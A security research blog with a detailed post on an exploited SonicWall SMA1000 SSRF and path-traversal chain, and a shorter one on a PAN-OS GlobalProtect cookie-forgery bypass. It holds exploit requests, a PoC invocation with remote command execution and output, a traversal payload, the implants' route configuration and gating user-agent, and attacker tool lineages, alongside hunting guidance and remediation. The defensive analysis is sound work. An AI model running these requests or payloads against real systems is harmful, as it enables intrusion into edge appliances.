GOTT Labs

Tunnel Vision: Sonicwall Insecure Mobile Access

Tue, 21 Jul 2026 00:00:00 +0000

CVE-2026-15409 and CVE-2026-15410 are the kind of pairing that makes threat actors happy and defenders tired. One is a pre-auth SSRF that turns a VPN appliance’s own WebSocket proxy into a tunnel straight to its internal-only services. The other is a path traversal in a “remove a hotfix” workflow that happily executes whatever you point it at, as root, no questions asked. Chain them together and you’ve got unauthenticated code execution on a SonicWall SMA1000 appliance sitting on the edge of somebody’s network. This isn’t theoretical. UTA0533 was doing this in production since at least late June 2026, and Volexity caught them in the act during an incident response engagement in early July.

The Vulnerabilities

CVE-2026-15409 (CVSS 10.0) lives in the /wsproxy endpoint of the SMA1000 WorkPlace web portal. This feature exists to proxy WebSocket connections to internal resources for legitimate remote access purposes. The problem is that with the right User-Agent and the right magic prefix on a request parameter, it will happily proxy a connection to 0.0.0.0 or 127.0.0.1, no authenticated session required. That gets an unauthenticated attacker a WebSocket tunnel directly to services that were only ever supposed to be reachable from inside the box: an Erlang Port Mapper Daemon, a CouchDB instance, and a control service listening on port 8188.

CVE-2026-15410 (CVSS 7.2) is a path traversal in sysCtrl.execRemoveHotfix, a method exposed by that same control service. The helper script it invokes, /usr/local/bin/remove_hotfix, builds a file path from caller-supplied input without meaningfully constraining it to the rollback directory it’s supposed to live in. Feed it a value like ../../../../../tmp/1234.sh and it will chmod +x and execute whatever’s sitting at /tmp/1234.sh, as root. SonicWall’s own advisory frames this as requiring authenticated administrator access to the Appliance Management Console. In practice, once you’ve tunneled into the control service through the wsproxy bypass, that authentication requirement is a formality you can route around, and Volexity’s forensic reconstruction shows the requirement wasn’t a meaningful obstacle in the observed intrusion at all.

Individually these are a critical info-disclosure-adjacent bug and a local privilege escalation. Chained, they’re a full pre-auth to root exploit against a VPN appliance, which is about as bad a sentence as you can write in this line of work.

Timeline

The public disclosure timeline is compressed, but the actual abuse window is longer and murkier, which is the usual story with edge appliances.

June 22, 2026: Earliest confirmed sign of compromise identified by Volexity during forensic review. A setuid binary (xzfind, internally named rootrun) is written to /usr/bin/.
June 22 to 30, 2026: KNUCKLEBALL malware deployed, JAR implants injected into a legitimate SonicWall Java process, persistence added, additional privilege escalation artifacts staged in /tmp.
Early July 2026: Volexity engaged for incident response after the customer observed suspicious authentication and lateral movement attempts originating from SonicWall SMA devices.
July 2, 2026: Second compromised appliance rebooted, likely wiping memory-resident implants and other volatile evidence.
July 9, 2026: Rapid7’s MDR team observes targeted zero-day exploitation of internet-facing SMA1000 appliances prior to any public disclosure.
July 14, 2026: SonicWall publishes PSIRT advisory SNWLID-2026-0008, ships hotfix builds 12.4.3-03453 and 12.5.0-02835, and confirms active exploitation. CISA adds both CVEs to the KEV catalog the same day, with a July 17 remediation deadline for federal civilian agencies.
July 15, 2026: SonicWall updates the advisory to credit Volexity’s Sean Koessel and Steven Adair for expanding the IOC list.
July 16, 2026: Rapid7 publishes additional IOCs. Horizon3.ai ships Rapid Response validation tooling.
July 17, 2026: Volexity publishes the full technical writeup of UTA0533’s operation. The same day, Dark Reading reports that Rapid7 has directly attributed a portion of the observed exploitation to Inc ransomware, a double-extortion ransomware-as-a-service group, with at least one case where ransomware deployment was actually achieved.
July 20, 2026: Cybersecurity Dive reports that Huntress has independently confirmed seven impacted customers, attributing the activity to two disparate sets of attackers, separate from both UTA0533 and the Inc-linked actor. Additional lateral movement tradecraft (Impacket’s Secrets Dump and DCSync) is disclosed in the same reporting.

So the honest answer to “when did abuse start” is at least June 22, 2026, three weeks before public disclosure, and that’s just the earliest artifact Volexity happened to find timestamps for. Given this was caught mid-investigation rather than through proactive hunting, earlier undetected activity against other targets is entirely plausible.

Affected Versions and Patch Status

The vulnerabilities affect the SonicWall SMA1000 Series exclusively: models 6210, 7210, and 8200v. SSL-VPN functionality on SonicWall firewalls and the separate SMA 100 Series product line are not affected, so don’t go patching the wrong product line out of panic.

Vulnerable builds observed or referenced across advisories include:

12.4.3-03245
12.4.3-03387
12.4.3-03434 (platform-hotfix)
12.5.0-02283
12.5.0-02624
12.5.0-02800 (platform-hotfix)

Fixed versions:

12.4.3-03453 (platform-hotfix) or later
12.5.0-02835 (platform-hotfix) or later

There is no workaround that fully closes this off. SonicWall and multiple responders are explicit that patching alone is not sufficient either. If your appliance was internet-facing and running a vulnerable build any time between late June and mid-July 2026, you patch and then you go looking for evidence of compromise, in that order of urgency but not as a substitute for each other.

Proof of Concept Details

Rapid7 released a working Python PoC for CVE-2026-15409 targeting the Erlang process on localhost:1050, available at remmons-r7/rapid7-CVE-2026-15409. A Metasploit module covering the full chain was reported to be in development as of publication.

Example invocation from Rapid7’s writeup:

python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'

Example output:

Authenticated to SMAAppliance.sma
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

Notably, the Erlang distribution cookie used to authenticate to port 1050 is hardcoded on production appliances, so no credential guessing or brute forcing is required once the tunnel is up. Rapid7 also flagged that a separately released PoC targeting the sysCtrl control service depends on a hardcoded cookie value that only matches the publicly downloadable virtual SMA appliance, not the physical appliances Volexity examined in the wild, which explains why the actual in-the-wild path to the control service ran through CouchDB rather than the control service’s own authentication scheme.

Exploitation Analysis

Here’s where it gets fun. The chain has four moving parts: the wsproxy bypass, the internal service you land on, the privilege escalation, and the persistence mechanism the attacker builds once they’ve got root. Let’s walk through each.

Stage 1: The wsproxy Bypass (CVE-2026-15409)

The /wsproxy endpoint exists to let authenticated SMA users tunnel to internal resources over WebSockets, the kind of thing you’d expect for RDP or SSH proxying through a remote access gateway. The bypass hinges on two conditions:

The User-Agent header is set to SMA Connect Agent, mimicking the appliance’s own native client rather than a browser.
The bmID parameter begins with the literal prefix -3389.

Satisfy both and the appliance will establish a WebSocket tunnel to whatever host and port you specify, without a valid SMA session cookie. Here’s the request shape, distilled to its essential elements:

GET /wsproxy?bmID=-3389<suffix>&serviceType=SSH&host=0.0.0.0&port=<target-port>
User-Agent: SMA Connect Agent

A successful bypass gets you a WebSocket protocol upgrade:

HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Protocol: binary

serviceType is nominally checked against expected values like SSH, but functionally it doesn’t gate what host and port you can reach. Volexity confirmed external reachability to three localhost-bound services through this bypass:

127.0.0.1:1050 - CouchDB’s Erlang distribution port
127.0.0.1:1051 - Erlang Port Mapper Daemon (EPMD)
127.0.0.1:8188 - the SMA control service, exposed over XML-RPC-ish HTTP

A read-only EPMD names query against port 1051 returns the registered node name couchdb on port 1050, which is a nice bit of free recon: the tunnel tells you exactly what’s listening before you even try to touch it.

Stage 2: Landing on CouchDB

This is the part Volexity couldn’t fully reconstruct from artifacts alone, and they’re upfront about that gap. What’s known:

The SMA appliance ships with a bundled CouchDB instance, localhost-only by design, that comes preconfigured with the credential pair admin:admin.
CouchDB’s Erlang distribution protocol is reachable through the wsproxy tunnel on port 1050, and Rapid7’s public PoC demonstrates unauthenticated remote code execution against this same Erlang endpoint using a hardcoded distribution cookie.
Timestamps in Volexity’s investigation show a script being written to disk through the CouchDB user’s context at roughly the same time as observed connections to port 1050.
That script’s job was to read /sys/class/dmi/id/product_uuid, a world-readable file that, once known, can be transformed into the Basic Auth password for the control service on port 8188 (dashes stripped, then Base64-encoded).

Whether the actual technique used against CouchDB was identical to Rapid7’s Erlang RPC method, some CouchDB HTTP API abuse, or something else entirely, is something Volexity flags as unconfirmed. What’s not in question is the outcome: command execution in the context of the couchdb user, evidenced by a file at /tmp/1234.sh owned by couchdb:daemon with permissions -rwx--x--x.

Worth noting: Volexity separately identified that the control service’s Basic Auth can be bypassed entirely on many physical appliances, because the product_uuid value used to derive the password is a default UUID shared across large numbers of devices from the same hardware vendor, unrelated to the specific appliance’s identity. Virtual appliances weren’t affected by this particular shortcut. Volexity states this authentication weakness does not appear to be what UTA0533 actually used, since the actor still went to the trouble of reading the file locally rather than assuming the default value, but it’s a second, independent way into the same control service that anyone auditing these appliances should be aware of.

Stage 3: Root via Path Traversal (CVE-2026-15410)

With the product_uuid in hand and access to the control service on port 8188, the attacker can call sysCtrl.execRemoveHotfix. This method exists to let administrators roll back applied hotfixes. It builds an execution path like this:

__rollback="/var/lib/aventail/avp/rollback/${__hotfix}"
chmod +x ${__rollback}
exec ${__rollback} --unattended

${__hotfix} is caller-controlled and insufficiently sanitized against traversal sequences. Supply ../../../../../tmp/1234.sh as the hotfix value and the resulting path resolves to /tmp/1234.sh, well outside the intended rollback directory. The helper chmod +x’s it and executes it with --unattended, as root, because remove_hotfix runs in a privileged context regardless of who or what asked it to run.

Rapid7’s reconstruction shows this can also be reached through the web management console via an authenticated rollbackConfirm.action POST:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Content-Type: application/x-www-form-urlencoded

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

Process monitoring during exploitation captures the privileged chain cleanly:

CMD: UID=0 PID=10355 | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
CMD: UID=0 PID=10355 | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
CMD: UID=0 PID=10361 | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
CMD: UID=0 PID=11124 | shutdown -r now

That last line matters: if the supplied hotfix file exists and executes, the appliance reboots shortly after as part of the normal rollback workflow. That reboot is a side effect the attacker has to plan around, and as we’ll get to, it’s also an accidental gift to defenders in at least one case.

Stage 4: Persistence and the Malware

Once root is established, UTA0533 didn’t sit on a shell. They built durable, memory-resident access with a purpose-built loader Volexity calls KNUCKLEBALL (deploy_new.py), dropped to /usr/lib/python3.11/site-packages/. The script’s job is to inject two Java payloads directly into the memory of a legitimate, already-running SonicWall process, workplace.startup.CommandStartup, rather than dropping a standalone malicious binary that antivirus or file integrity monitoring might catch.

The mechanics: KNUCKLEBALL enumerates /proc/<pid>/cmdline to find the target JVM’s process ID, then uses the Java Attach API (/tmp/.attach_pid<PID> and /tmp/.java_pid<PID>) to load two Base64-encoded JAR files as instrumentation agents:

load instrument false <path>

Before injection, it symlinks the agents’ internal log files (/tmp/agent_wp8.log, /tmp/agent_wp9.log) to /dev/null, so the injected code never leaves a log trail on disk. After injection succeeds, both staged JAR files are deleted from disk entirely. The only things left behind are the loaded classes sitting in the JVM’s memory and two new proxy routes quietly added to the local NGINX Unit config over its Unix socket:

[
  {
    "match": { "uri": "/__api__/login" },
    "action": { "rewrite": "/workplace/error.jsp", "proxy": "http://127.0.0.1:8085" }
  },
  {
    "match": { "uri": "/__api__/logout" },
    "action": { "rewrite": "/workplace/dialogs/errorDialog.jsp", "proxy": "http://127.0.0.1:8085" }
  }
]

Those two implants are:

Suo5 (agent_wp8.jar), the open-source HTTP forwarding proxy tool, injected verbatim except for an added user-agent gate, targeting the com/aventail/jsp/workplace/error_jsp class.
ORANGETAIL (agent_wp9.jar), a custom webshell functionally modeled on the well-known Behinder tool but rewritten from scratch to avoid Behinder’s fingerprints, targeting com/aventail/jsp/workplace/dialogs/errorDialog_jsp.

Both gate access behind an identical, deliberately inconsistent user-agent string:

Mozilla/6.0 (Windows NT 11.0; Win64; x64) AppleWebKit/1537.136 (KHTML, like Gecko) Chrome/149.0.0.1 Safari/1537.136

There is no browser on Earth producing that exact combination of version numbers, which makes it a fantastic detection hook and a mildly funny attacker mistake.

ORANGETAIL specifically was engineered to not look like Behinder to signature-based detection: hand-rolled Base64 instead of java.util.Base64, fully reflective class loading (Class.forName to getMethod to invoke) instead of direct javax.crypto.Cipher imports, a hardcoded AES-128-ECB key instead of one derived from an authentication password, JSON-wrapped responses instead of raw encrypted bytes, and a 404 response to any request lacking the correct user-agent instead of rendering normally. Every meaningful string in the payload is built character by character via String.valueOf() rather than as plain literals, which is a small but deliberate move against static string-matching detection.

The net effect: an attacker gets two internet-reachable, memory-resident implants riding on top of a completely legitimate SonicWall JVM process, with no persistent malicious file on disk after the injection completes, and no log trail from the implants themselves.

Considerations and Limitations

This is the section where the gap between “we found evidence of compromise” and “we know everything that happened” opens up, and it’s a wide gap here.

Memory-resident implants leave nothing on disk once loaded. Suo5 and ORANGETAIL exist only as loaded classes inside a legitimate JVM’s memory after the staging JARs are deleted. If you’re doing disk forensics on a live-imaged appliance without capturing memory first, you will not find these implants. You’ll find the NGINX Unit config changes and maybe the deleted-file remnants if you’re doing careful filesystem carving, but the actual malicious code is gone the moment the process exits or the box reboots.

A reboot is an anti-forensic event here, whether intentional or not. Appliance 2 in Volexity’s investigation had been rebooted on July 2, 2026. Volexity’s own assessment is that this likely wiped the memory-resident backdoors along with other volatile artifacts. Recall that CVE-2026-15410’s own remove_hotfix workflow triggers a reboot as a side effect of successful exploitation. Whether that particular reboot was attacker-triggered cleanup, an unrelated maintenance reboot, or just the mechanical consequence of running the privesc exploit again, the result is the same: the richest evidence source for this intrusion evaporates on restart, and there’s no way after the fact to prove which of those explanations is correct.

Log-only investigation would have missed most of this. Volexity is explicit that working from exported logs alone, without a confirmed system-level compromise and on-system evidence to correlate against, makes it genuinely difficult to connect the dots or prove what happened. The logs told them exploitation attempts occurred. They did not, by themselves, tell them root was achieved, malware was loaded, or what that malware did next. It took SSH access, full memory acquisition, and disk imaging to turn “suspicious log entries” into a confirmed, reconstructed kill chain.

The CouchDB-to-control-service path has an evidentiary hole. Volexity could not conclusively determine the exact technique used to achieve code execution as the couchdb user. They have file ownership, timestamps, and a plausible mechanism (matching Rapid7’s independently developed Erlang RPC PoC), but not a confirmed, first-hand reproduction of what the attacker actually sent. That’s an honest gap, and it’s worth sitting with: even a thorough, well-resourced investigation with full memory and disk access can end up with “this is almost certainly how it happened” rather than “this is exactly how it happened” for one stage of a four-stage chain.

The control service’s default-UUID auth bypass complicates attribution of intent. Since a large number of physical SMA1000 appliances ship with the same default hardware UUID, and thus the same derivable control-service password, an investigator finding evidence of control-service access can’t automatically assume the attacker went through the CouchDB path versus just knowing (or guessing) the common default. In this specific case Volexity’s evidence points to the file-read approach, but that determination required the full forensic picture, not just the presence of control-service activity in isolation.

Attacker infrastructure resists simple network-based attribution. Over 200 distinct source IPs were used across the intrusion, with a mix of commercial VPN exit nodes (ExpressVPN, Mullvad, confirmed via Spur) and other addresses with no discernible shared infrastructure pattern. IP-based blocking or geofencing would have been a losing game here even if it had been attempted in real time.

Patching does not evict an attacker who already has root, and some attackers have proven that in practice. Rapid7’s incident response lead has since described cases where a customer applied the hotfix, and the threat actor, already established with root-level persistence, simply rolled the appliance’s own upgrade back down to the vulnerable build to restore their access path. That is a genuinely nasty forensic and operational problem: a patched build number in your asset inventory is not evidence of a clean appliance, it may just be evidence of the most recent state the attacker was willing to tolerate. This is the practical argument for treating “patch applied” and “compromise remediated” as two separate checkboxes that both need their own verification, rather than assuming the first implies the second.

LDAP traffic capture depends on the network being unencrypted in the first place. The tcpdump-based credential harvesting observed on Appliance 2 only worked because internal LDAP traffic was unencrypted. That’s not a gap in forensic visibility so much as a gap in the environment’s own hygiene, but it’s the kind of detail that determines whether “attacker got root on an appliance” turns into “attacker got a pile of domain credentials.”

Detection and Hunting

The good news: this intrusion left a lot of log evidence, assuming you’re looking at the right logs and they haven’t rotated out from under you.

Key Log Sources

/var/log/aventail/extraweb_access.log captures external web interaction, including the wsproxy bypass and webshell access. Look for:

GET /wsproxy?bmID=-3389<suffix>&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1" 101

The combination of wsproxy, a bmID beginning with -3389, and an HTTP 101 response status is the single strongest indicator in the whole chain. Rapid7’s guidance is to search this log for the string pattern "GET" AND "wsproxy" AND "=-3389" AND " 101 ". A host value of localhost, 0.0.0.0, or ::ffff:127.0.0.1 alongside that pattern all but confirms exploitation attempts against CVE-2026-15409. Legitimate uses of serviceType=SSH shouldn’t be pointing at 0.0.0.0.

Also watch for successful hits against the persistence routes:

POST /__api__/logout HTTP/1.1" 200
POST /__api__/login HTTP/1.1" 200

HTTP 200 responses on these paths are a red flag; these paths only resolve to something meaningful once the attacker’s NGINX Unit route rewrites are in place.

/var/log/aventail/access_servers.log provides corroborating WebSocket-level detail, including the client IP, connection port, and success/failure of the backend socket connection:

::WEBSOCK::Socket connected to backend success host = 0.0.0.0 and port =1050

/var/log/aventail/ctrl-service.log captures the privilege escalation itself:

running hotfix removal for:../../../../../tmp/1234.sh

Any traversal sequence in a remove_hotfix invocation pointing outside the expected rollback directory is confirmed exploitation of CVE-2026-15410, full stop.

Additional Hunting Steps

Check /var/lib/unit/conf.json for routes proxying to http://127.0.0.1:8085, or any route mapping /__api__/login or /__api__/logout to anything at all. Neither should exist in a stock configuration.
Enumerate setuid binaries with find / -perm -4000 and compare against the known-legitimate baseline (things like auth_pam_tool, ssh-keysign, su, sudo, mount, ping). Anything outside that baseline, especially something named innocuously like xzfind, warrants investigation.
Inspect /tmp and /var/tmp for unexpected scripts, especially ones owned by service accounts like couchdb rather than root or a human admin.
Hunt for the fixed user-agent string Mozilla/6.0 (Windows NT 11.0; Win64; x64) AppleWebKit/1537.136 (KHTML, like Gecko) Chrome/149.0.0.1 Safari/1537.136 in any web-facing logs; it’s a gating string for the malware, not a real browser fingerprint.
On the network side, review authentication logs on internal directory servers for NTLM or LDAP logons (Windows Event ID 4624, logon type 3) originating from the SMA appliance’s own internal IP address, particularly under a service account, and particularly with non-inventory workstation names like kali or generic DESKTOP-XXXXXXX hostnames with no corresponding active VPN session. That combination, appliance-internal-IP source plus no active tunnel, is close to a smoking gun for a fully compromised appliance being used as an unmonitored pivot point.
Watch for tcpdump or packet capture artifacts in /var/tmp, particularly scripts capturing traffic to port 389 (LDAP).
Hunt for Impacket’s Secrets Dump and DCSync activity on domain controllers reachable from the appliance’s internal IP. Secrets Dump typically shows up as remote registry and SAM/LSA access against a target host (Windows Event IDs 4656, 4658, 4663 against registry hive handles, plus SMB/RPC access to \PIPE\svcctl and \PIPE\winreg), while DCSync presents as directory replication requests (Event ID 4662 with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All access rights) from a source that isn’t a legitimate domain controller. Either technique showing up with the SMA appliance’s internal address as the source is a strong signal, on top of the plain anomalous-logon signal already noted above.
Don’t assume you’re dealing with a single actor. Huntress has independently reported multiple, unrelated intrusion sets riding this same vulnerability chain, so IOCs from one investigation (UTA0533’s tooling, for instance) won’t necessarily be present in a different compromise of the same vulnerability. Treat absence of KNUCKLEBALL/Suo5/ORANGETAIL artifacts as inconclusive, not as clearance.

Volexity has published YARA signatures for KNUCKLEBALL, Suo5, and ORANGETAIL in their threat-intel GitHub repository, and both Rapid7 and Horizon3.ai have released independent validation and Rapid Response tooling.

Remediation and Workarounds

Patch. There is no meaningful workaround here, and multiple responders are explicit on this point.

Update to:

12.4.3-03453 (platform-hotfix) or later
12.5.0-02835 (platform-hotfix) or later

Beyond patching, given confirmed active exploitation and a demonstrated ability to persist without leaving disk artifacts:

Assume compromise for any internet-facing SMA1000 appliance that was running a vulnerable build between late June and mid-July 2026, and investigate before you simply patch and move on.
Restrict management interface and unnecessary service exposure to the internet if immediate patching isn’t feasible, even though this doesn’t close the underlying vulnerability.
Rotate all credentials associated with the appliance: administrator passwords, user passwords, and TOTP/MFA seeds. UTA0533 was specifically observed harvesting credentials and MFA seeds, so patching without rotation leaves the door key still in the attacker’s pocket.
Re-image physical appliances, or redeploy virtual appliances from a known-clean state, if any indicator of compromise is found. Given the memory-resident, disk-cleanup-conscious nature of the malware here, a straightforward “delete the bad files and patch” response is not sufficient assurance.
Review internal authentication logs on directory servers for evidence of lateral movement originating from the appliance, independent of whatever you find on the appliance itself.
If you have the capability, prioritize memory acquisition before disk imaging or before any reboot, planned or otherwise. As Appliance 2 demonstrates, a reboot may be the single most destructive event to your evidence, whether the attacker intended it or not.

Closing Assessment

What makes this chain notable isn’t any single vulnerability class. SSRF and path traversal are both well-worn categories. What makes it notable is the discipline behind the operation built on top of them: an authentication bypass that only activates for a specific user-agent and parameter prefix, a privilege escalation routed through a service account rather than the more obvious control-service path, malware that injects into a legitimate process instead of dropping a standalone binary, log files symlinked to /dev/null before injection, staged JARs deleted immediately after loading, and a custom webshell deliberately re-engineered to avoid the fingerprints of the well-known tool it’s functionally based on. This was not a smash-and-grab.

Three things stand out from a forensic-reality standpoint, which is the lens this blog usually cares about most:

Memory-resident malware means disk forensics alone will miss the implant entirely. Suo5 and ORANGETAIL exist only in the memory of a legitimate process once staging files are deleted. Without memory acquisition, you get the persistence hooks (the NGINX route changes) but not the payloads themselves.
A reboot is the great equalizer against your evidence, and this exploit chain causes one as a side effect of its own privilege escalation step. Whether by attacker design or accident, Appliance 2’s evidence trail was measurably thinner after its July 2 reboot. If your incident response process treats “reboot the affected device” as a routine containment step, reconsider that instinct for anything running memory-resident implants.
A confirmed, evidence-backed reconstruction still had at least one honest gap. Even with SSH access, full memory capture, and disk imaging, Volexity could not conclusively pin down the exact CouchDB exploitation technique. That’s not a criticism of the investigation, it’s a reminder that “we reconstructed the chain” and “we have first-hand proof of every step” are not the same claim, and good forensic writeups say so out loud instead of papering over it.
This was never just an espionage-flavored curiosity, and it isn’t a single-actor story anymore. UTA0533’s tradecraft (memory-resident implants, log manipulation, custom webshells built to dodge known signatures) reads like a patient, access-focused operation. But Rapid7 has since attributed a separate slice of the exploitation to Inc ransomware, with at least one case where ransomware was actually deployed, and Huntress has independently tied the same vulnerability chain to yet another, unrelated pair of intrusion sets across at least seven customers. The lesson isn’t “watch out for UTA0533 specifically.” It’s that once a chain like this is being used in the wild, whoever built the original tooling stops being the only threat model that matters. A capable initial-access broker’s work gets reused, copied, or independently rediscovered by whoever else is watching the same KEV entry, ransomware crews very much included.

Patch your SMA1000 appliances. Then go find out if you already needed to, and don’t assume the answer stays “no” just because the actor who compromised you isn’t the one everyone’s been writing about.

References

Primary Research: Volexity, Proxying to Compromise: SonicWall Secure Mobile Access 0-day Exploitation
Vendor Advisory: SonicWall PSIRT, SNWLID-2026-0008
Technical Analysis and PoC: Rapid7, Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited
Public PoC: remmons-r7/rapid7-CVE-2026-15409
YARA Signatures: volexity/threat-intel
NVD Entries: CVE-2026-15409 / CVE-2026-15410
Rapid Response Coverage: Horizon3.ai, CVE-2026-15409 & CVE-2026-15410
Ransomware Attribution: Dark Reading, Inc Ransomware Exploits SonicWall SMA Zero-Days
Multi-Actor Follow-up: Cybersecurity Dive, Researchers Trace SonicWall SMA1000 Exploitation to Late June
Historical Context: Field Effect, SonicWall SMA1000 Zero-Days Exploited in Targeted Attacks

PAN-OS GlobalProtect Authentication Bypass

Thu, 04 Jun 2026 00:00:00 +0000

The Short Version

CVE-2026-0257 is an authentication bypass vulnerability in Palo Alto Networks PAN-OS affecting the GlobalProtect portal and gateway. The root cause is embarrassingly straightforward: the device trusts authentication override cookies that have been encrypted with a public key it happily hands out over TLS. No credentials required. No interaction from a user. Just an HTTPS handshake, a little RSA math, and you have a forged VPN session token the firewall accepts without complaint.

The vendor originally scored this at CVSSv4 4.7. “Medium,” they said. CISA then added it to the Known Exploited Vulnerabilities catalog and mandated federal agencies patch by June 1, 2026. Rapid7 observed active exploitation across multiple customers starting May 17. The score was quietly revised to 7.8 before the dust settled. That CVSS trajectory should tell you everything you need to know about how the initial triage landed.

This is a configuration-dependent vulnerability, which means it does not affect every PAN-OS deployment. But the configuration that enables it, authentication override cookies shared with the HTTPS certificate, is not exotic. It is a reasonable deployment pattern that a lot of organizations have been running for years.

Post-Exploitation: Observed Attacker Activity

Once an attacker bypasses authentication and receives an internal private_ip assignment, they immediately shift to internal network intrusion. In-the-wild tracking across compromised environments shows actors deploying an automated, noisy combination of three primary tools directly out of the unauthorized VPN sessions:

Nmap: Broad internal scanning to map out subnets and locate Domain Controllers and high-value infrastructure.
Kerbrute: Kerberos Pre-Authentication abuse on Domain Controllers to rapidly enumerate users and password spray accounts.
Impacket: Lateral movement and remote command execution via SMB/WMI using harvested credentials to compromise internal endpoints.

1. Internal Reconnaissance via Nmap

With an active VPN tunnel established, attackers use Nmap to map out internal segments, specifically hunting for Domain Controllers, file shares, and hypervisors.

2. Active Directory Enumeration via Kerbrute

To avoid triggering noisy account lockouts via traditional brute-forcing, attackers deploy kerbrute to abuse Kerberos Pre-Authentication for user enumeration and password spraying.

Log Fingerprints: This activity completely bypasses standard Windows Security Event ID 4625 (Failed Logon). Instead, look for a surge of Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) on your Domain Controllers originating from the VPN IP.
Specific Error Codes to Hunt:
- Result Code 0x6: Client not found in Kerberos database. A single VPN IP cycling through hundreds of usernames triggering this code indicates active user enumeration.
- Result Code 0x18: Pre-authentication information invalid. This indicates a bad password and points to an active password-spraying campaign.

3. Lateral Movement and Execution via Impacket

Once credentials or local admin tokens are harvested, attackers leverage the Impacket Python library to pivot laterally and execute code remotely on internal endpoints.

A. `psexec.py` / `smbexec.py` (Remote Service Creation)

These modules interact with the Service Control Manager (svcctl) over SMB (Port 445) to create a temporary, high-privilege system service.

Host Telemetry: Look for Windows Security Log Event ID 4697 or System Log Event ID 7045 (A service was installed in the system) on target servers.
Impacket Default Fingerprints:
- Service Name: Random 4-to-8 alphanumeric characters (e.g., BTOA, psexecsvc).
- Service File Path: Execution out of writable system shares, typically looking like %SystemRoot%\System32\shares\<random>.exe or a direct invocation of cmd.exe /Q /c.

B. `wmiexec.py` (Semi-Interactive Shell via WMI)

For a stealthier approach that avoids service creation, attackers use WMI execution over RPC (Port 135) to spawn commands via the Win32_Process class.

Host Telemetry: Look for Windows Security Log Event ID 4688 (Process Creation) tracking anomalous command shell behaviors.
Impacket Default Fingerprints: Impacket pipes command outputs into hidden administrative shares. Look for this specific process lineage:
- WmiPrvSE.exe -> cmd.exe /Q /c <command> > \\127.0.0.1\ADMIN$\__1234567890 2>&1

Hunt Strategy: Correlating the Chain

To turn these post-exploit observations into an actionable defense, defenders must link the initial perimeter entry point directly to internal network behavioral shifts:

  [PAN-OS Firewall]                              [Active Directory]                            [Internal Endpoint]
   GlobalProtect Log                              Domain Controller                             Security Event Log
  ------------------                             -------------------                           -------------------
   Auth Type: "Cookie"                            Event ID: 4768 (TGT)                          Event ID: 4697 / 7045
   User: admin                                    Result Code: 0x6 / 0x18                       Service: <Random>.exe
   Source: Vultr/Dromatics IP  =======>           Src IP: Assigned VPN IP   =======>            Src IP: Assigned VPN IP
   Action: Assigns Private IP                     (Kerbrute Enumeration)                        (Impacket Lateral Pivot)

If your GlobalProtect logs show an unvalidated cookie login event, pivot immediately to your internal network logs and filter for all traffic originating from that specific internally assigned private_ip during the session window. Any instance of the internal IP interacting with a Domain Controller over Port 88 (Kerberos) or Port 445 (SMB) immediately following authentication should be treated as a confirmed active intrusion.

Timeline and Abuse History

The advisory came out on May 13, 2026, and was internally discovered by Palo Alto Networks’ own security research team. No external researcher credit. This is not unusual for edge device vulnerabilities, but it does leave a question open about whether anyone else found it earlier and just did not talk about it.

The gap between disclosure and exploitation was four days. By May 17, Rapid7 MDR was already responding to alerts across customer environments. All source activity in that first wave traced back to Vultr-hosted infrastructure. The same spoofed MAC address (aa:bb:cc:dd:ee:ff, which is about as subtle as wearing a ski mask to a bank) appeared consistently across impacted organizations.

A second exploitation wave hit on May 21. Same MAC address. Different infrastructure provider (Dromatics Systems this time). Based on behavioral consistency across both waves, Rapid7 assessed this was likely the same threat actor. In that second wave, the attacker went further: Rapid7 observed POST requests to /ssl-vpn/hipreport.esp and /ssl-vpn/getconfig.esp, which is the sequence that follows successful cookie authentication and results in an actual VPN tunnel being established.

On May 29, CISA added CVE-2026-0257 to KEV. Also on May 29, Palo Alto updated their advisory to reflect active exploitation and bumped the CVSS. The deadline for federal civilian agencies was June 1, 2026.

Today is June 5. If you are still unpatched and unmitigated, you are operating on borrowed time, and the threat actor has already shown they know your address.

Impacted Versions and Patch Status

The vulnerability requires a specific configuration to be present. The impacted product lines are PAN-OS physical and virtual firewalls and Prisma Access. Cloud NGFW and Panorama are not affected.

Required configuration for exposure:

GlobalProtect portal or gateway must be configured
Authentication override cookies must be enabled (generate or accept)
The certificate used for authentication override cookie encryption must be the same certificate used for another feature, specifically the HTTPS service

That last condition is the one that bites. Palo Alto’s own documentation does not scream at you to isolate this certificate. It is a design pattern that made operational sense, and now it is the attack vector.

Affected versions:

Product	Vulnerable	Fixed
PAN-OS 12.1	< 12.1.4-h6 or < 12.1.7	>= 12.1.4-h6 or >= 12.1.7
PAN-OS 11.2	< 11.2.4-h17, < 11.2.7-h14, < 11.2.10-h7, < 11.2.12	>= respective fixed builds
PAN-OS 11.1	< 11.1.4-h33, < 11.1.6-h32, < 11.1.7-h6, < 11.1.10-h25, < 11.1.13-h5, < 11.1.15	>= respective fixed builds
PAN-OS 10.2	< 10.2.7-h34, < 10.2.10-h36, < 10.2.13-h21, < 10.2.16-h7, < 10.2.18-h6	>= respective fixed builds
Prisma Access 11.2	< 11.2.7-h13	>= 11.2.7-h13
Prisma Access 10.2	< 10.2.10-h36	>= 10.2.10-h36

Heads up on the post-patch behavior: After upgrading, all existing authentication override cookies are invalidated. Every GlobalProtect user will need to re-authenticate once. This is intentional and expected. Plan for the user support load accordingly.

Proof-of-Concept Details

Rapid7 Labs published a working PoC as part of their disclosure. The script (forge_cookie.py) is available at sfewer-r7/CVE-2026-0257 on GitHub.

